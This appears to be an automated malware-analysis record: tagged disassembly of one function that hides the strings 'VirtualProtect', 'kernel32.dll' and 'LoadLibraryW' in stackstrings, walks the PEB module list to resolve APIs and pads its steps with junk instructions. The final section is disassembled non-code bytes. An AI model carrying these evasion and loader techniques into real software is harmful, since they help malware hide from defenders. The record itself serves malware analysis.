Function at 0x4630b0
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add eax, 0xc65e0001
test dword [eax + 0x56fffff6], esp
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
cmpsb byte [esi], byte es:[edi]
idiv bh
jmp [esi + eax*8 - 0x7b]
cmpsd dword [esi], dword es:[edi]
idiv bh
call dword [eax - 0x3a]
test dword [eax + 0x72fffff6], ebp
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push ebx
push ebx
add esp, 4
xor ebx, 0xc0c0
add ebx, 0xd4dd
add ebx, 0x417e
or ebx, 0x6d5d
pop ebx
push edi
xor edi, 0x155c7
sub edi, 0x80e0
and edi, 0x100e8
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push esi
add esp, 4
or ebx, 0x474b
and ebx, 0x9b47
call 0x463193
add byte [edx], bh
inc ebp
xor al, 0x3a
dec edi
dec ecx
add esp, 4
call 0x4631a4
add byte [ecx + 0x3b], al
inc ecx
xor al, 0x33
inc eax
dec edi
dec ebp
add esp, 4
pop ebx
cmp dword [ebp - 0x150c], 0
jne method.wxToolBar.virtual_868
mov dword [ebp - 0x2a8], 0
jmp 0x463467
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
sub edx, 0x62fd
add edx, 0x4b71
xor edx, 0x15c62
pop edx
push esi
push edx
add esp, 4
sub esi, 0x16460
and esi, 0xbb25
xor esi, 0x10c67
xor esi, 0xe00b
pop esi
cmp dword [ebp - 0xc4c], 0
jne 0x46321c
mov dword [ebp - 0x2a8], 0
jmp 0x463467
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ecx
call 0x463238
add byte [eax], bh
dec ebp
dec edx
dec eax
inc edi
xor eax, 0x83435036
les eax, [ecx + eax*4]
jmp 0x470241
push ecx
push eax
add esp, 4
jmp 0x463474
or ecx, 0xa93
add ecx, 0x66b4
jmp 0x463486
pop ecx
push edx
push ebx
add esp, 4
jmp 0x463492
xor edx, 0x39ea
pop edx
cmp dword [ebp - 0x2a8], 0
jne 0x463d9e
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
add byte [eax], al
add byte [esi - 0x77], ah
xchg ebp, eax
sbb al, 0xe9
invalid
invalid
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push ebx
push edx
add esp, 4
or ebx, 0x9a4a
pop ebx
push ebx
or ebx, 0x23f5
jmp 0x463558
jmp 0x46355e
pop ebx
push esi
push ecx
add esp, 4
and esi, 0x306d
sub esi, 0x399e
pop esi
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ebx
call 0x463601
add byte [ebp + 0x3c], al
inc esp
dec edi
cmp dword [eax - 0x7d], edx
les eax, [ecx + eax*4]
ret
push edx
add edx, 0x11e6c
sub edx, 0x11522
add edx, 0x140d7
add byte [edx + 0x50], bl
push ebx
add esp, 4
or eax, 0x180a8
pop eax
push ebx
push ecx
add esp, 4
sub ebx, 0x15c2c
add ebx, 0x6471
pop ebx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push esi
push eax
add esp, 4
and esi, 0x15bab
or esi, 0x490f
and esi, 0xb47b
pop esi
push eax
and eax, 0x178ae
add eax, 0x6ded
add eax, 0xc9fd
and eax, 0xcbb1
pop eax
cmp dword [ebp - 0x1574], 0
jne 0x463e42
mov dword [ebp - 0x2a8], 0
jmp 0x4640e9
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ecx
push ecx
add esp, 4
jmp 0x463e62
pop ecx
push edx
push eax
add esp, 4
xor edx, 0xb0dc
jmp 0x463e76
jmp 0x463e7f
and edx, 0xf34a
pop edx
cmp dword [ebp - 0xc68], 0
jne 0x463e9e
mov dword [ebp - 0x2a8], 0
jmp 0x4640e9
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push ecx
call 0x463eba
add byte [0x4f3e403e], bh
inc ebx
inc edx
push eax
xor eax, dword [ebx - 0xe7efb3c]
jmp 0x463ec2
add al, ch
or byte [eax], al
add byte [eax], al
add byte [ebx + 0x45], al
dec esi
cmp byte [eax + 0x4d], cl
inc eax
add esp, 4
pop ecx
push edx
or edx, 0x13684
pop edx
lea eax, [ebp - 0x1628]
mov dword [ebp - 0xc64], eax
mov ecx, dword [ebp - 0x4ec]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc60], edx
xor eax, eax
mov word [ebp - 0x20c], ax
xor ecx, ecx
mov word [ebp - 0x40], cx
push edx
push edi
add esp, 4
add edx, 0x16026
call 0x463f1e
add byte [edi + 0x41], cl
cmp ecx, dword [ecx + 0x39]
inc ecx
xor al, byte [ebx + 0x8e804c4]
add byte [eax], al
add byte [eax], al
xor al, 0x39
inc eax
cmp esi, dword [edi]
xor eax, 0x4c48349
sub edx, 0x9f6a
pop edx
mov edx, dword [ebp - 0xc60]
mov ax, word [edx]
mov word [ebp - 0xf92], ax
mov ecx, dword [ebp - 0xc60]
add ecx, 2
mov dword [ebp - 0xc60], ecx
mov dx, word [ebp - 0xf92]
mov word [ebp - 0x20c], dx
mov eax, dword [ebp - 0xc64]
mov cx, word [eax]
mov word [ebp - 0xf94], cx
mov edx, dword [ebp - 0xc64]
add edx, 2
mov dword [ebp - 0xc64], edx
mov ax, word [ebp - 0xf94]
mov word [ebp - 0x40], ax
push ebx
call 0x463f9d
add byte [ebp + esi + 0x3c], al
dec ecx
xor bh, byte [edi]
add esp, 4
pop ebx
push ecx
or ecx, 0xe2d5
or ecx, 0xd26
call 0x463fbd
add byte [ebx], bh
xor dl, byte [eax + 0x46]
dec eax
aaa
dec esi
cmp ecx, dword [ecx - 0x7d]
les eax, [ecx + ebx*2]
movzx ecx, word [ebp - 0x40]
test ecx, ecx
jne 0x463fde
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
sub edx, eax
mov dword [ebp - 0x157c], edx
jmp 0x464038
movzx ecx, word [ebp - 0x20c]
movzx edx, word [ebp - 0x40]
cmp ecx, edx
je 0x463f06
movzx eax, word [ebp - 0x20c]
xor eax, 0x20
movzx ecx, word [ebp - 0x40]
cmp eax, ecx
je 0x463f06
movzx edx, word [ebp - 0x20c]
movzx eax, word [ebp - 0x40]
cmp edx, eax
jge 0x464022
mov dword [ebp - 0x1578], 0xffffffff
jmp 0x46402c
mov dword [ebp - 0x1578], 1
mov ecx, dword [ebp - 0x1578]
mov dword [ebp - 0x157c], ecx
cmp dword [ebp - 0x157c], 0
jne 0x464081
push ebx
or ebx, 0x15e36
and ebx, 0x3442
call 0x46405d
add byte [esi + 0x4c], cl
inc eax
dec esp
inc ebp
inc eax
dec esi
cmp cl, byte [edx - 0x7d]
les eax, [ecx + eax*4]
pop es
inc esi
add byte [eax], al
pop ebx
push esi
push eax
add esp, 4
jmp 0x464072
pop esi
mov edx, dword [ebp - 0x4ec]
mov dword [ebp - 0x2a8], edx
jmp 0x4640e9
push edx
xor edx, 0x8df5
xor edx, 0x1244b
or edx, 0x13f0a
or edx, 0x122ac
pop edx
push ebx
push ebx
add esp, 4
add ebx, 0x6f25
add ebx, 0x171e7
sub ebx, 0xb479
pop ebx
mov eax, dword [ebp - 0x4ec]
mov ecx, dword [eax]
mov dword [ebp - 0x4ec], ecx
mov edx, dword [ebp - 0x4ec]
cmp edx, dword [ebp - 0xc68]
je 0x4640df
mov eax, dword [ebp - 0x4ec]
cmp dword [eax + 0x30], 0
jne 0x463eaa
mov dword [ebp - 0x2a8], 0
push ecx
call 0x4640fa
add byte [eax + 0x39], dl
dec ecx
aaa
inc ebx
inc esp
inc ecx
cmp eax, 0xc4835034
add al, 0x81
jmp 0x46cd4e
jle 0x90d2dc9f
invalid
xchg dword [edx + eax], ecx
add al, byte [edx]
adc bh, byte [edx + 0x2007798]
add al, byte [esi - 0x45eddc0b]
mov byte [ebx + 2], ah
add al, byte [edx]
rcl dword ds:[edx], cl
xchg ebx, esi
add dword [edx], eax
add dl, byte [edx]
mov edx, 0x2007790
add dl, byte [edx]
mov edx, 0x2026398
add bh, byte [esi]
int 0x80
bswap edx
mov byte [edi + 0x20202f0], bl
add al, byte [edx]
add ch, dh
or eax, 0xf09f88ca
add al, byte [edx]
add al, 3
add eax, dword [ebx]
mov cs, word [eax + 0x202f09f]
mov word [eax + 0x202f09b], cs
xchg al, al
wait
lock add al, byte [edx]
add edi, dword [eax + 0x43]
push esp
pop ecx
xchg bh, al
pop es
test ah, dh
pop edi
xchg byte [ebx], al
add eax, dword [esp + 0x3037047]
pop esp
pop edx
push ebx
xchg bh, al
pop es
test dl, ch
sbb eax, 0x620303a5
push esp
test ah, cl
or bl, 3
add eax, dword [esp + eax*8 + 0x30485bd]
test ah, ch
or byte [ecx + 4], ah
add ebx, dword [esi + ecx*4 - 0x70]
jecxz 0x4702d0
add al, byte [edx]
mov word [eax + 0x2020013], ss
out dx, al
imul edx, dword [ebp + 0x56], 0xffffff86
mov dword [edi], 0xeda4f584
add eax, dword [ebx]
test ch, dh
jp 0x47031e
add al, 3
test ch, cl
daa
adc al, 4
add ebx, dword [ebp + 0x56]
test dh, dh
lahf
xchg esp, eax
add eax, dword [ebx]
test dh, ch
mov ecx, 0x84030466
out dx, al
invalid
jecxz 0x47031e
add al, byte [edx]
nop
daa
cmc
add al, byte [edx]
ja 0x47033d
mov ds, word [eax + 0x202fee3]
xchg byte [ebp + 0x33], bh
add edx, dword [edx]
mov byte [ecx - 0x35fdfe00], bh
mov byte [ebx], dl
add byte [edx], al
add al, byte [ebx]
add eax, dword [ebx]
add ebx, dword [ecx - 0x15]
or eax, dword [ebx]
add eax, dword [ebx]
add edi, dword [edx]
inc edi
cmp bh, byte [0x863e4648]
mov dword [edi], 0xf1eef184
add eax, dword [ebx]
test cl, dh
fld xword [esi + 3]
add esp, dword [ecx + 0x54]
push ebp
xchg bh, al
pop es
out dx, al
or dword [esi + 0x48], eax
inc ebp
inc eax
dec esp
test ah, ah
inc eax
add byte [ebx + eax], 0x5c
mov cs, word [eax + 0x2020013]
mov cs, word [ebx + 0x1b]
mov word [eax + 0x202ff87], ss
pop edx
push esi
xchg bh, al
pop es
jmp 0x470399
xchg bh, al
pop es
test dl, dl
iretd